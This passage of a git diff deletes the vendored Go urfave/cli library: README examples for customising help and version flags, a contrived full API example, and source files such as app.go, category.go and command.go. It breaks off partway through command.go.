generation may be customized, and at multiple levels. The -templates are exposed as variables `AppHelpTemplate`, `CommandHelpTemplate`, and -`SubcommandHelpTemplate` which may be reassigned or augmented, and full override -is possible by assigning a compatible func to the `cli.HelpPrinter` variable, -e.g.: - - -``` go -package main - -import ( - "fmt" - "io" - "os" - - "github.com/urfave/cli" -) - -func main() { - // EXAMPLE: Append to an existing template - cli.AppHelpTemplate = fmt.Sprintf(`%s - -WEBSITE: http://awesometown.example.com - -SUPPORT: support@awesometown.example.com - -`, cli.AppHelpTemplate) - - // EXAMPLE: Override a template - cli.AppHelpTemplate = `NAME: - {{.Name}} - {{.Usage}} -USAGE: - {{.HelpName}} {{if .VisibleFlags}}[global options]{{end}}{{if .Commands}} command [command options]{{end}} {{if .ArgsUsage}}{{.ArgsUsage}}{{else}}[arguments...]{{end}} - {{if len .Authors}} -AUTHOR: - {{range .Authors}}{{ . }}{{end}} - {{end}}{{if .Commands}} -COMMANDS: -{{range .Commands}}{{if not .HideHelp}} {{join .Names ", "}}{{ "\t"}}{{.Usage}}{{ "\n" }}{{end}}{{end}}{{end}}{{if .VisibleFlags}} -GLOBAL OPTIONS: - {{range .VisibleFlags}}{{.}} - {{end}}{{end}}{{if .Copyright }} -COPYRIGHT: - {{.Copyright}} - {{end}}{{if .Version}} -VERSION: - {{.Version}} - {{end}} -` - - // EXAMPLE: Replace the `HelpPrinter` func - cli.HelpPrinter = func(w io.Writer, templ string, data interface{}) { - fmt.Println("Ha HA. I pwnd the help!!1") - } - - cli.NewApp().Run(os.Args) -} -``` - -The default flag may be customized to something other than `-h/--help` by -setting `cli.HelpFlag`, e.g.: - - -``` go -package main - -import ( - "os" - - "github.com/urfave/cli" -) - -func main() { - cli.HelpFlag = cli.BoolFlag{ - Name: "halp, haaaaalp", - Usage: "HALP", - EnvVar: "SHOW_HALP,HALPPLZ", - } - - cli.NewApp().Run(os.Args) -} -``` - -### Version Flag - -The default version flag (`-v/--version`) is defined as `cli.VersionFlag`, which -is checked by the cli internals in order to print the `App.Version` via -`cli.VersionPrinter` and break execution. - -#### Customization - -The default flag may be customized to something other than `-v/--version` by -setting `cli.VersionFlag`, e.g.: - - -``` go -package main - -import ( - "os" - - "github.com/urfave/cli" -) - -func main() { - cli.VersionFlag = cli.BoolFlag{ - Name: "print-version, V", - Usage: "print only the version", - } - - app := cli.NewApp() - app.Name = "partay" - app.Version = "19.99.0" - app.Run(os.Args) -} -``` - -Alternatively, the version printer at `cli.VersionPrinter` may be overridden, e.g.: - - -``` go -package main - -import ( - "fmt" - "os" - - "github.com/urfave/cli" -) - -var ( - Revision = "fafafaf" -) - -func main() { - cli.VersionPrinter = func(c *cli.Context) { - fmt.Printf("version=%s revision=%s\n", c.App.Version, Revision) - } - - app := cli.NewApp() - app.Name = "partay" - app.Version = "19.99.0" - app.Run(os.Args) -} -``` - -#### Full API Example - -**Notice**: This is a contrived (functioning) example meant strictly for API -demonstration purposes. Use of one's imagination is encouraged. - - -``` go -package main - -import ( - "errors" - "flag" - "fmt" - "io" - "io/ioutil" - "os" - "time" - - "github.com/urfave/cli" -) - -func init() { - cli.AppHelpTemplate += "\nCUSTOMIZED: you bet ur muffins\n" - cli.CommandHelpTemplate += "\nYMMV\n" - cli.SubcommandHelpTemplate += "\nor something\n" - - cli.HelpFlag = cli.BoolFlag{Name: "halp"} - cli.BashCompletionFlag = cli.BoolFlag{Name: "compgen", Hidden: true} - cli.VersionFlag = cli.BoolFlag{Name: "print-version, V"} - - cli.HelpPrinter = func(w io.Writer, templ string, data interface{}) { - fmt.Fprintf(w, "best of luck to you\n") - } - cli.VersionPrinter = func(c *cli.Context) { - fmt.Fprintf(c.App.Writer, "version=%s\n", c.App.Version) - } - cli.OsExiter = func(c int) { - fmt.Fprintf(cli.ErrWriter, "refusing to exit %d\n", c) - } - cli.ErrWriter = ioutil.Discard - cli.FlagStringer = func(fl cli.Flag) string { - return fmt.Sprintf("\t\t%s", fl.GetName()) - } -} - -type hexWriter struct{} - -func (w *hexWriter) Write(p []byte) (int, error) { - for _, b := range p { - fmt.Printf("%x", b) - } - fmt.Printf("\n") - - return len(p), nil -} - -type genericType struct{ - s string -} - -func (g *genericType) Set(value string) error { - g.s = value - return nil -} - -func (g *genericType) String() string { - return g.s -} - -func main() { - app := cli.NewApp() - app.Name = "kənˈtrÄĢv" - app.Version = "19.99.0" - app.Compiled = time.Now() - app.Authors = []cli.Author{ - cli.Author{ - Name: "Example Human", - Email: "human@example.com", - }, - } - app.Copyright = "(c) 1999 Serious Enterprise" - app.HelpName = "contrive" - app.Usage = "demonstrate available API" - app.UsageText = "contrive - demonstrating the available API" - app.ArgsUsage = "[args and such]" - app.Commands = []cli.Command{ - cli.Command{ - Name: "doo", - Aliases: []string{"do"}, - Category: "motion", - Usage: "do the doo", - UsageText: "doo - does the dooing", - Description: "no really, there is a lot of dooing to be done", - ArgsUsage: "[arrgh]", - Flags: []cli.Flag{ - cli.BoolFlag{Name: "forever, forevvarr"}, - }, - Subcommands: cli.Commands{ - cli.Command{ - Name: "wop", - Action: wopAction, - }, - }, - SkipFlagParsing: false, - HideHelp: false, - Hidden: false, - HelpName: "doo!", - BashComplete: func(c *cli.Context) { - fmt.Fprintf(c.App.Writer, "--better\n") - }, - Before: func(c *cli.Context) error { - fmt.Fprintf(c.App.Writer, "brace for impact\n") - return nil - }, - After: func(c *cli.Context) error { - fmt.Fprintf(c.App.Writer, "did we lose anyone?\n") - return nil - }, - Action: func(c *cli.Context) error { - c.Command.FullName() - c.Command.HasName("wop") - c.Command.Names() - c.Command.VisibleFlags() - fmt.Fprintf(c.App.Writer, "dodododododoodododddooooododododooo\n") - if c.Bool("forever") { - c.Command.Run(c) - } - return nil - }, - OnUsageError: func(c *cli.Context, err error, isSubcommand bool) error { - fmt.Fprintf(c.App.Writer, "for shame\n") - return err - }, - }, - } - app.Flags = []cli.Flag{ - cli.BoolFlag{Name: "fancy"}, - cli.BoolTFlag{Name: "fancier"}, - cli.DurationFlag{Name: "howlong, H", Value: time.Second * 3}, - cli.Float64Flag{Name: "howmuch"}, - cli.GenericFlag{Name: "wat", Value: &genericType{}}, - cli.Int64Flag{Name: "longdistance"}, - cli.Int64SliceFlag{Name: "intervals"}, - cli.IntFlag{Name: "distance"}, - cli.IntSliceFlag{Name: "times"}, - cli.StringFlag{Name: "dance-move, d"}, - cli.StringSliceFlag{Name: "names, N"}, - cli.UintFlag{Name: "age"}, - cli.Uint64Flag{Name: "bigage"}, - } - app.EnableBashCompletion = true - app.HideHelp = false - app.HideVersion = false - app.BashComplete = func(c *cli.Context) { - fmt.Fprintf(c.App.Writer, "lipstick\nkiss\nme\nlipstick\nringo\n") - } - app.Before = func(c *cli.Context) error { - fmt.Fprintf(c.App.Writer, "HEEEERE GOES\n") - return nil - } - app.After = func(c *cli.Context) error { - fmt.Fprintf(c.App.Writer, "Phew!\n") - return nil - } - app.CommandNotFound = func(c *cli.Context, command string) { - fmt.Fprintf(c.App.Writer, "Thar be no %q here.\n", command) - } - app.OnUsageError = func(c *cli.Context, err error, isSubcommand bool) error { - if isSubcommand { - return err - } - - fmt.Fprintf(c.App.Writer, "WRONG: %#v\n", err) - return nil - } - app.Action = func(c *cli.Context) error { - cli.DefaultAppComplete(c) - cli.HandleExitCoder(errors.New("not an exit coder, though")) - cli.ShowAppHelp(c) - cli.ShowCommandCompletions(c, "nope") - cli.ShowCommandHelp(c, "also-nope") - cli.ShowCompletions(c) - cli.ShowSubcommandHelp(c) - cli.ShowVersion(c) - - categories := c.App.Categories() - categories.AddCommand("sounds", cli.Command{ - Name: "bloop", - }) - - for _, category := range c.App.Categories() { - fmt.Fprintf(c.App.Writer, "%s\n", category.Name) - fmt.Fprintf(c.App.Writer, "%#v\n", category.Commands) - fmt.Fprintf(c.App.Writer, "%#v\n", category.VisibleCommands()) - } - - fmt.Printf("%#v\n", c.App.Command("doo")) - if c.Bool("infinite") { - c.App.Run([]string{"app", "doo", "wop"}) - } - - if c.Bool("forevar") { - c.App.RunAsSubcommand(c) - } - c.App.Setup() - fmt.Printf("%#v\n", c.App.VisibleCategories()) - fmt.Printf("%#v\n", c.App.VisibleCommands()) - fmt.Printf("%#v\n", c.App.VisibleFlags()) - - fmt.Printf("%#v\n", c.Args().First()) - if len(c.Args()) > 0 { - fmt.Printf("%#v\n", c.Args()[1]) - } - fmt.Printf("%#v\n", c.Args().Present()) - fmt.Printf("%#v\n", c.Args().Tail()) - - set := flag.NewFlagSet("contrive", 0) - nc := cli.NewContext(c.App, set, c) - - fmt.Printf("%#v\n", nc.Args()) - fmt.Printf("%#v\n", nc.Bool("nope")) - fmt.Printf("%#v\n", nc.BoolT("nerp")) - fmt.Printf("%#v\n", nc.Duration("howlong")) - fmt.Printf("%#v\n", nc.Float64("hay")) - fmt.Printf("%#v\n", nc.Generic("bloop")) - fmt.Printf("%#v\n", nc.Int64("bonk")) - fmt.Printf("%#v\n", nc.Int64Slice("burnks")) - fmt.Printf("%#v\n", nc.Int("bips")) - fmt.Printf("%#v\n", nc.IntSlice("blups")) - fmt.Printf("%#v\n", nc.String("snurt")) - fmt.Printf("%#v\n", nc.StringSlice("snurkles")) - fmt.Printf("%#v\n", nc.Uint("flub")) - fmt.Printf("%#v\n", nc.Uint64("florb")) - fmt.Printf("%#v\n", nc.GlobalBool("global-nope")) - fmt.Printf("%#v\n", nc.GlobalBoolT("global-nerp")) - fmt.Printf("%#v\n", nc.GlobalDuration("global-howlong")) - fmt.Printf("%#v\n", nc.GlobalFloat64("global-hay")) - fmt.Printf("%#v\n", nc.GlobalGeneric("global-bloop")) - fmt.Printf("%#v\n", nc.GlobalInt("global-bips")) - fmt.Printf("%#v\n", nc.GlobalIntSlice("global-blups")) - fmt.Printf("%#v\n", nc.GlobalString("global-snurt")) - fmt.Printf("%#v\n", nc.GlobalStringSlice("global-snurkles")) - - fmt.Printf("%#v\n", nc.FlagNames()) - fmt.Printf("%#v\n", nc.GlobalFlagNames()) - fmt.Printf("%#v\n", nc.GlobalIsSet("wat")) - fmt.Printf("%#v\n", nc.GlobalSet("wat", "nope")) - fmt.Printf("%#v\n", nc.NArg()) - fmt.Printf("%#v\n", nc.NumFlags()) - fmt.Printf("%#v\n", nc.Parent()) - - nc.Set("wat", "also-nope") - - ec := cli.NewExitError("ohwell", 86) - fmt.Fprintf(c.App.Writer, "%d", ec.ExitCode()) - fmt.Printf("made it!\n") - return ec - } - - if os.Getenv("HEXY") != "" { - app.Writer = &hexWriter{} - app.ErrWriter = &hexWriter{} - } - - app.Metadata = map[string]interface{}{ - "layers": "many", - "explicable": false, - "whatever-values": 19.99, - } - - app.Run(os.Args) -} - -func wopAction(c *cli.Context) error { - fmt.Fprintf(c.App.Writer, ":wave: over here, eh\n") - return nil -} -``` - -## Contribution Guidelines - -Feel free to put up a pull request to fix a bug or maybe add a feature. I will -give it a code review and make sure that it does not break backwards -compatibility. If I or any other collaborators agree that it is in line with -the vision of the project, we will work with you to get the code into -a mergeable state and merge it into the master branch. - -If you have contributed something significant to the project, we will most -likely add you as a collaborator. As a collaborator you are given the ability -to merge others pull requests. It is very important that new code does not -break existing code, so be careful about what code you do choose to merge. - -If you feel like you have contributed to the project but have not yet been -added as a collaborator, we probably forgot to add you, please open an issue. diff --git a/vendor/github.com/urfave/cli/app.go b/vendor/github.com/urfave/cli/app.go deleted file mode 100644 index 51fc45d878..0000000000 --- a/vendor/github.com/urfave/cli/app.go +++ /dev/null @@ -1,497 +0,0 @@ -package cli - -import ( - "fmt" - "io" - "io/ioutil" - "os" - "path/filepath" - "sort" - "time" -) - -var ( - changeLogURL = "https://github.com/urfave/cli/blob/master/CHANGELOG.md" - appActionDeprecationURL = fmt.Sprintf("%s#deprecated-cli-app-action-signature", changeLogURL) - runAndExitOnErrorDeprecationURL = fmt.Sprintf("%s#deprecated-cli-app-runandexitonerror", changeLogURL) - - contactSysadmin = "This is an error in the application. Please contact the distributor of this application if this is not you." - - errInvalidActionType = NewExitError("ERROR invalid Action type. "+ - fmt.Sprintf("Must be `func(*Context`)` or `func(*Context) error). %s", contactSysadmin)+ - fmt.Sprintf("See %s", appActionDeprecationURL), 2) -) - -// App is the main structure of a cli application. It is recommended that -// an app be created with the cli.NewApp() function -type App struct { - // The name of the program. Defaults to path.Base(os.Args[0]) - Name string - // Full name of command for help, defaults to Name - HelpName string - // Description of the program. - Usage string - // Text to override the USAGE section of help - UsageText string - // Description of the program argument format. - ArgsUsage string - // Version of the program - Version string - // Description of the program - Description string - // List of commands to execute - Commands []Command - // List of flags to parse - Flags []Flag - // Boolean to enable bash completion commands - EnableBashCompletion bool - // Boolean to hide built-in help command - HideHelp bool - // Boolean to hide built-in version flag and the VERSION section of help - HideVersion bool - // Populate on app startup, only gettable through method Categories() - categories CommandCategories - // An action to execute when the bash-completion flag is set - BashComplete BashCompleteFunc - // An action to execute before any subcommands are run, but after the context is ready - // If a non-nil error is returned, no subcommands are run - Before BeforeFunc - // An action to execute after any subcommands are run, but after the subcommand has finished - // It is run even if Action() panics - After AfterFunc - - // The action to execute when no subcommands are specified - // Expects a `cli.ActionFunc` but will accept the *deprecated* signature of `func(*cli.Context) {}` - // *Note*: support for the deprecated `Action` signature will be removed in a future version - Action interface{} - - // Execute this function if the proper command cannot be found - CommandNotFound CommandNotFoundFunc - // Execute this function if an usage error occurs - OnUsageError OnUsageErrorFunc - // Compilation date - Compiled time.Time - // List of all authors who contributed - Authors []Author - // Copyright of the binary if any - Copyright string - // Name of Author (Note: Use App.Authors, this is deprecated) - Author string - // Email of Author (Note: Use App.Authors, this is deprecated) - Email string - // Writer writer to write output to - Writer io.Writer - // ErrWriter writes error output - ErrWriter io.Writer - // Other custom info - Metadata map[string]interface{} - // Carries a function which returns app specific info. - ExtraInfo func() map[string]string - // CustomAppHelpTemplate the text template for app help topic. - // cli.go uses text/template to render templates. You can - // render custom help text by setting this variable. - CustomAppHelpTemplate string - - didSetup bool -} - -// Tries to find out when this binary was compiled. -// Returns the current time if it fails to find it. -func compileTime() time.Time { - info, err := os.Stat(os.Args[0]) - if err != nil { - return time.Now() - } - return info.ModTime() -} - -// NewApp creates a new cli Application with some reasonable defaults for Name, -// Usage, Version and Action. -func NewApp() *App { - return &App{ - Name: filepath.Base(os.Args[0]), - HelpName: filepath.Base(os.Args[0]), - Usage: "A new cli application", - UsageText: "", - Version: "0.0.0", - BashComplete: DefaultAppComplete, - Action: helpCommand.Action, - Compiled: compileTime(), - Writer: os.Stdout, - } -} - -// Setup runs initialization code to ensure all data structures are ready for -// `Run` or inspection prior to `Run`. It is internally called by `Run`, but -// will return early if setup has already happened. -func (a *App) Setup() { - if a.didSetup { - return - } - - a.didSetup = true - - if a.Author != "" || a.Email != "" { - a.Authors = append(a.Authors, Author{Name: a.Author, Email: a.Email}) - } - - newCmds := []Command{} - for _, c := range a.Commands { - if c.HelpName == "" { - c.HelpName = fmt.Sprintf("%s %s", a.HelpName, c.Name) - } - newCmds = append(newCmds, c) - } - a.Commands = newCmds - - if a.Command(helpCommand.Name) == nil && !a.HideHelp { - a.Commands = append(a.Commands, helpCommand) - if (HelpFlag != BoolFlag{}) { - a.appendFlag(HelpFlag) - } - } - - if !a.HideVersion { - a.appendFlag(VersionFlag) - } - - a.categories = CommandCategories{} - for _, command := range a.Commands { - a.categories = a.categories.AddCommand(command.Category, command) - } - sort.Sort(a.categories) - - if a.Metadata == nil { - a.Metadata = make(map[string]interface{}) - } - - if a.Writer == nil { - a.Writer = os.Stdout - } -} - -// Run is the entry point to the cli app. Parses the arguments slice and routes -// to the proper flag/args combination -func (a *App) Run(arguments []string) (err error) { - a.Setup() - - // handle the completion flag separately from the flagset since - // completion could be attempted after a flag, but before its value was put - // on the command line. this causes the flagset to interpret the completion - // flag name as the value of the flag before it which is undesirable - // note that we can only do this because the shell autocomplete function - // always appends the completion flag at the end of the command - shellComplete, arguments := checkShellCompleteFlag(a, arguments) - - // parse flags - set, err := flagSet(a.Name, a.Flags) - if err != nil { - return err - } - - set.SetOutput(ioutil.Discard) - err = set.Parse(arguments[1:]) - nerr := normalizeFlags(a.Flags, set) - context := NewContext(a, set, nil) - if nerr != nil { - fmt.Fprintln(a.Writer, nerr) - ShowAppHelp(context) - return nerr - } - context.shellComplete = shellComplete - - if checkCompletions(context) { - return nil - } - - if err != nil { - if a.OnUsageError != nil { - err := a.OnUsageError(context, err, false) - HandleExitCoder(err) - return err - } - fmt.Fprintf(a.Writer, "%s %s\n\n", "Incorrect Usage.", err.Error()) - ShowAppHelp(context) - return err - } - - if !a.HideHelp && checkHelp(context) { - ShowAppHelp(context) - return nil - } - - if !a.HideVersion && checkVersion(context) { - ShowVersion(context) - return nil - } - - if a.After != nil { - defer func() { - if afterErr := a.After(context); afterErr != nil { - if err != nil { - err = NewMultiError(err, afterErr) - } else { - err = afterErr - } - } - }() - } - - if a.Before != nil { - beforeErr := a.Before(context) - if beforeErr != nil { - ShowAppHelp(context) - HandleExitCoder(beforeErr) - err = beforeErr - return err - } - } - - args := context.Args() - if args.Present() { - name := args.First() - c := a.Command(name) - if c != nil { - return c.Run(context) - } - } - - if a.Action == nil { - a.Action = helpCommand.Action - } - - // Run default Action - err = HandleAction(a.Action, context) - - HandleExitCoder(err) - return err -} - -// RunAndExitOnError calls .Run() and exits non-zero if an error was returned -// -// Deprecated: instead you should return an error that fulfills cli.ExitCoder -// to cli.App.Run. This will cause the application to exit with the given eror -// code in the cli.ExitCoder -func (a *App) RunAndExitOnError() { - if err := a.Run(os.Args); err != nil { - fmt.Fprintln(a.errWriter(), err) - OsExiter(1) - } -} - -// RunAsSubcommand invokes the subcommand given the context, parses ctx.Args() to -// generate command-specific flags -func (a *App) RunAsSubcommand(ctx *Context) (err error) { - // append help to commands - if len(a.Commands) > 0 { - if a.Command(helpCommand.Name) == nil && !a.HideHelp { - a.Commands = append(a.Commands, helpCommand) - if (HelpFlag != BoolFlag{}) { - a.appendFlag(HelpFlag) - } - } - } - - newCmds := []Command{} - for _, c := range a.Commands { - if c.HelpName == "" { - c.HelpName = fmt.Sprintf("%s %s", a.HelpName, c.Name) - } - newCmds = append(newCmds, c) - } - a.Commands = newCmds - - // parse flags - set, err := flagSet(a.Name, a.Flags) - if err != nil { - return err - } - - set.SetOutput(ioutil.Discard) - err = set.Parse(ctx.Args().Tail()) - nerr := normalizeFlags(a.Flags, set) - context := NewContext(a, set, ctx) - - if nerr != nil { - fmt.Fprintln(a.Writer, nerr) - fmt.Fprintln(a.Writer) - if len(a.Commands) > 0 { - ShowSubcommandHelp(context) - } else { - ShowCommandHelp(ctx, context.Args().First()) - } - return nerr - } - - if checkCompletions(context) { - return nil - } - - if err != nil { - if a.OnUsageError != nil { - err = a.OnUsageError(context, err, true) - HandleExitCoder(err) - return err - } - fmt.Fprintf(a.Writer, "%s %s\n\n", "Incorrect Usage.", err.Error()) - ShowSubcommandHelp(context) - return err - } - - if len(a.Commands) > 0 { - if checkSubcommandHelp(context) { - return nil - } - } else { - if checkCommandHelp(ctx, context.Args().First()) { - return nil - } - } - - if a.After != nil { - defer func() { - afterErr := a.After(context) - if afterErr != nil { - HandleExitCoder(err) - if err != nil { - err = NewMultiError(err, afterErr) - } else { - err = afterErr - } - } - }() - } - - if a.Before != nil { - beforeErr := a.Before(context) - if beforeErr != nil { - HandleExitCoder(beforeErr) - err = beforeErr - return err - } - } - - args := context.Args() - if args.Present() { - name := args.First() - c := a.Command(name) - if c != nil { - return c.Run(context) - } - } - - // Run default Action - err = HandleAction(a.Action, context) - - HandleExitCoder(err) - return err -} - -// Command returns the named command on App. Returns nil if the command does not exist -func (a *App) Command(name string) *Command { - for _, c := range a.Commands { - if c.HasName(name) { - return &c - } - } - - return nil -} - -// Categories returns a slice containing all the categories with the commands they contain -func (a *App) Categories() CommandCategories { - return a.categories -} - -// VisibleCategories returns a slice of categories and commands that are -// Hidden=false -func (a *App) VisibleCategories() []*CommandCategory { - ret := []*CommandCategory{} - for _, category := range a.categories { - if visible := func() *CommandCategory { - for _, command := range category.Commands { - if !command.Hidden { - return category - } - } - return nil - }(); visible != nil { - ret = append(ret, visible) - } - } - return ret -} - -// VisibleCommands returns a slice of the Commands with Hidden=false -func (a *App) VisibleCommands() []Command { - ret := []Command{} - for _, command := range a.Commands { - if !command.Hidden { - ret = append(ret, command) - } - } - return ret -} - -// VisibleFlags returns a slice of the Flags with Hidden=false -func (a *App) VisibleFlags() []Flag { - return visibleFlags(a.Flags) -} - -func (a *App) hasFlag(flag Flag) bool { - for _, f := range a.Flags { - if flag == f { - return true - } - } - - return false -} - -func (a *App) errWriter() io.Writer { - - // When the app ErrWriter is nil use the package level one. - if a.ErrWriter == nil { - return ErrWriter - } - - return a.ErrWriter -} - -func (a *App) appendFlag(flag Flag) { - if !a.hasFlag(flag) { - a.Flags = append(a.Flags, flag) - } -} - -// Author represents someone who has contributed to a cli project. -type Author struct { - Name string // The Authors name - Email string // The Authors email -} - -// String makes Author comply to the Stringer interface, to allow an easy print in the templating process -func (a Author) String() string { - e := "" - if a.Email != "" { - e = " <" + a.Email + ">" - } - - return fmt.Sprintf("%v%v", a.Name, e) -} - -// HandleAction attempts to figure out which Action signature was used. If -// it's an ActionFunc or a func with the legacy signature for Action, the func -// is run! -func HandleAction(action interface{}, context *Context) (err error) { - if a, ok := action.(ActionFunc); ok { - return a(context) - } else if a, ok := action.(func(*Context) error); ok { - return a(context) - } else if a, ok := action.(func(*Context)); ok { // deprecated function signature - a(context) - return nil - } else { - return errInvalidActionType - } -} diff --git a/vendor/github.com/urfave/cli/appveyor.yml b/vendor/github.com/urfave/cli/appveyor.yml deleted file mode 100644 index 1e1489c365..0000000000 --- a/vendor/github.com/urfave/cli/appveyor.yml +++ /dev/null @@ -1,26 +0,0 @@ -version: "{build}" - -os: Windows Server 2016 - -image: Visual Studio 2017 - -clone_folder: c:\gopath\src\github.com\urfave\cli - -environment: - GOPATH: C:\gopath - GOVERSION: 1.8.x - PYTHON: C:\Python36-x64 - PYTHON_VERSION: 3.6.x - PYTHON_ARCH: 64 - -install: -- set PATH=%GOPATH%\bin;C:\go\bin;%PATH% -- go version -- go env -- go get github.com/urfave/gfmrun/... -- go get -v -t ./... - -build_script: -- python runtests vet -- python runtests test -- python runtests gfmrun diff --git a/vendor/github.com/urfave/cli/category.go b/vendor/github.com/urfave/cli/category.go deleted file mode 100644 index 1a6055023e..0000000000 --- a/vendor/github.com/urfave/cli/category.go +++ /dev/null @@ -1,44 +0,0 @@ -package cli - -// CommandCategories is a slice of *CommandCategory. -type CommandCategories []*CommandCategory - -// CommandCategory is a category containing commands. -type CommandCategory struct { - Name string - Commands Commands -} - -func (c CommandCategories) Less(i, j int) bool { - return c[i].Name < c[j].Name -} - -func (c CommandCategories) Len() int { - return len(c) -} - -func (c CommandCategories) Swap(i, j int) { - c[i], c[j] = c[j], c[i] -} - -// AddCommand adds a command to a category. -func (c CommandCategories) AddCommand(category string, command Command) CommandCategories { - for _, commandCategory := range c { - if commandCategory.Name == category { - commandCategory.Commands = append(commandCategory.Commands, command) - return c - } - } - return append(c, &CommandCategory{Name: category, Commands: []Command{command}}) -} - -// VisibleCommands returns a slice of the Commands with Hidden=false -func (c *CommandCategory) VisibleCommands() []Command { - ret := []Command{} - for _, command := range c.Commands { - if !command.Hidden { - ret = append(ret, command) - } - } - return ret -} diff --git a/vendor/github.com/urfave/cli/cli.go b/vendor/github.com/urfave/cli/cli.go deleted file mode 100644 index 90c07eb8ef..0000000000 --- a/vendor/github.com/urfave/cli/cli.go +++ /dev/null @@ -1,22 +0,0 @@ -// Package cli provides a minimal framework for creating and organizing command line -// Go applications. cli is designed to be easy to understand and write, the most simple -// cli application can be written as follows: -// func main() { -// cli.NewApp().Run(os.Args) -// } -// -// Of course this application does not do much, so let's make this an actual application: -// func main() { -// app := cli.NewApp() -// app.Name = "greet" -// app.Usage = "say a greeting" -// app.Action = func(c *cli.Context) error { -// println("Greetings") -// return nil -// } -// -// app.Run(os.Args) -// } -package cli - -//go:generate python ./generate-flag-types cli -i flag-types.json -o flag_generated.go diff --git a/vendor/github.com/urfave/cli/command.go b/vendor/github.com/urfave/cli/command.go deleted file mode 100644 index 23de2944be..0000000000 --- a/vendor/github.com/urfave/cli/command.go +++ /dev/null @@ -1,304 +0,0 @@ -package cli - -import ( - "fmt" - "io/ioutil" - "sort" - "strings" -) - -// Command is a subcommand for a cli.App. -type Command struct { - // The name of the command - Name string - // short name of the command. Typically one character (deprecated, use `Aliases`) - ShortName string - // A list of aliases for the command - Aliases []string - // A short description of the usage of this command - Usage string - // Custom text to show on USAGE section of help - UsageText string - // A longer explanation of how the command works - Description string - // A short description of the arguments of this command - ArgsUsage string - // The category the command is part of - Category string - // The function to call when checking for bash command completions - BashComplete BashCompleteFunc - // An action to execute before any sub-subcommands are run, but after the context is ready - // If a non-nil error is returned, no sub-subcommands are run - Before BeforeFunc - // An action to execute after any subcommands are run, but after the subcommand has finished - // It is run even if Action() panics - After AfterFunc - // The function to call when this command is invoked - Action interface{} - // TODO: replace `Action: interface{}` with `Action: ActionFunc` once some kind - // of deprecation period has passed, maybe? - - // Execute this function if a usage error occurs. - OnUsageError OnUsageErrorFunc - // List of child commands - Subcommands Commands - // List of flags to parse - Flags []Flag - // Treat all flags as normal arguments if true - SkipFlagParsing bool - // Skip argument reordering which attempts to move flags before arguments, - // but only works if all flags appear after all arguments. This behavior was - // removed n version 2 since it only works under specific conditions so we - // backport here by exposing it as an option for compatibility. - SkipArgReorder bool - // Boolean to hide built-in help command - HideHelp bool - // Boolean to hide this command from help or completion - Hidden bool - - // Full name of command for help, defaults to full command name, including parent commands. - HelpName string - commandNamePath []string - - // CustomHelpTemplate the text template for the command help topic. - // cli.go uses text/template to render templates. You can - // render custom help text by setting this variable. - CustomHelpTemplate string -} - -type CommandsByName []Command - -func (c CommandsByName) Len() int { - return len(c) -} - -func (c CommandsByName) Less(i, j int) bool { - return c[i].Name < c[j].Name -} - -func (c CommandsByName) Swap(i, j int) { - c[i], c[j] = c[j], c[i] -} - -// FullName returns the full name of the command. -// For subcommands this ensures that parent commands are part of the command path -func (c Command) FullName() string { - if c.commandNamePath == nil { - return c.Name - } - return strings.Join(c.commandNamePath, " ") -} - -// Commands is a slice of Command -type Commands []Command - -// Run invokes the command given the context, parses ctx.Args() to generate command-specific flags -func (c Command) Run(ctx *Context) (err error) { - if len(c.Subcommands) > 0 { - return c.startApp(ctx) - } - - if !c.HideHelp && (HelpFlag != BoolFlag{}) { - // append help to flags - c.Flags = append( - c.Flags, - HelpFlag, - ) - } - - set, err := flagSet(c.Name, c.Flags) - if err != nil { - return err - } - set.SetOutput(ioutil.Discard) - - if c.SkipFlagParsing { - err = set.Parse(append([]string{"--"}, ctx.Args().Tail()...)) - } else if !c.SkipArgReorder { - firstFlagIndex := -1 - terminatorIndex := -1 - for index, arg := range ctx.Args() { - if arg == "--" { - terminatorIndex = index - break - } else if arg == "-" { - // Do nothing. A dash alone is not really a flag. - continue - } else if strings.HasPrefix(arg, "-") && firstFlagIndex == -1 { - firstFlagIndex = index - } - } - - if firstFlagIndex > -1 { - args := ctx.Args() - regularArgs := make([]string, len(args[1:firstFlagIndex])) - copy(regularArgs, args[1:firstFlagIndex]) - - var flagArgs []string - if terminatorIndex > -1 { - flagArgs = args[firstFlagIndex:terminatorIndex] - regularArgs = append(regularArgs, args[terminatorIndex:]...) - } else { - flagArgs = args[firstFlagIndex:] - } - - err = set.Parse(append(flagArgs, regularArgs...)) - } else { - err = set.Parse(ctx.Args().Tail()) - } - } else { - err = set.Parse(ctx.Args().Tail()) - } - - nerr := normalizeFlags(c.Flags, set) - if nerr != nil { - fmt.Fprintln(ctx.App.Writer, nerr) - fmt.Fprintln(ctx.App.Writer) - ShowCommandHelp(ctx, c.Name) - return nerr - } - - context := NewContext(ctx.App, set, ctx) - context.Command = c - if checkCommandCompletions(context, c.Name) { - return nil - } - - if err != nil { - if c.OnUsageError != nil { - err := c.OnUsageError(context, err, false) - HandleExitCoder(err) - return err - } - fmt.Fprintln(context.App.Writer, "Incorrect Usage:", err.Error()) - fmt.Fprintln(context.App.Writer) - ShowCommandHelp(context, c.Name) - return err - } - - if checkCommandHelp(context, c.Name) { - return nil - } - - if c.After != nil { - defer func() { - afterErr := c.After(context) - if afterErr != nil { - HandleExitCoder(err) - if err != nil { - err = NewMultiError(err, afterErr) - } else { - err = afterErr - } - } - }() - } - - if c.Before != nil { - err = c.Before(context) - if err != nil { - ShowCommandHelp(context, c.Name) - HandleExitCoder(err) - return err - } - } - - if c.Action == nil { - c.Action = helpSubcommand.Action - } - - err = HandleAction(c.Action, context) - - if err != nil { - HandleExitCoder(err) - } - return err -} - -// Names returns the names including short names and aliases. -func (c Command) Names() []string { - names := []string{c.Name} - - if c.ShortName != "" { - names = append(names, c.ShortName) - } - - return append(names, c.Aliases...) -} - -// HasName returns true if Command.Name or Command.ShortName matches given name -func (c Command) HasName(name string) bool { - for _, n := range c.Names() { - if n == name { - return true - } - } - return false -} - -func (c Command) startApp(ctx *Context) error { - app := NewApp() - app.Metadata = ctx.App.Metadata - // set the name and usage - app.Name = fmt.Sprintf("%s %s", ctx.App.Name, c.Name) - if c.HelpName == "" { - app.HelpName = c.HelpName - } else { - app.HelpName = app.Name - } - - app.Usage = c.Usage - app.Description = c.Description - app.ArgsUsage = c.ArgsUsage - - // set CommandNotFound - app.CommandNotFound = ctx.App.CommandNotFound - app.CustomAppHelpTemplate = c.CustomHelpTemplate - - // set the flags and commands - app.Commands = c.Subcommands - app.Flags = c.Flags - app.HideHelp = c.HideHelp - - app.Version = ctx.App.Version - app.HideVersion = ctx.App.HideVersion - app.Compiled = ctx.App.Compiled - app.Author = 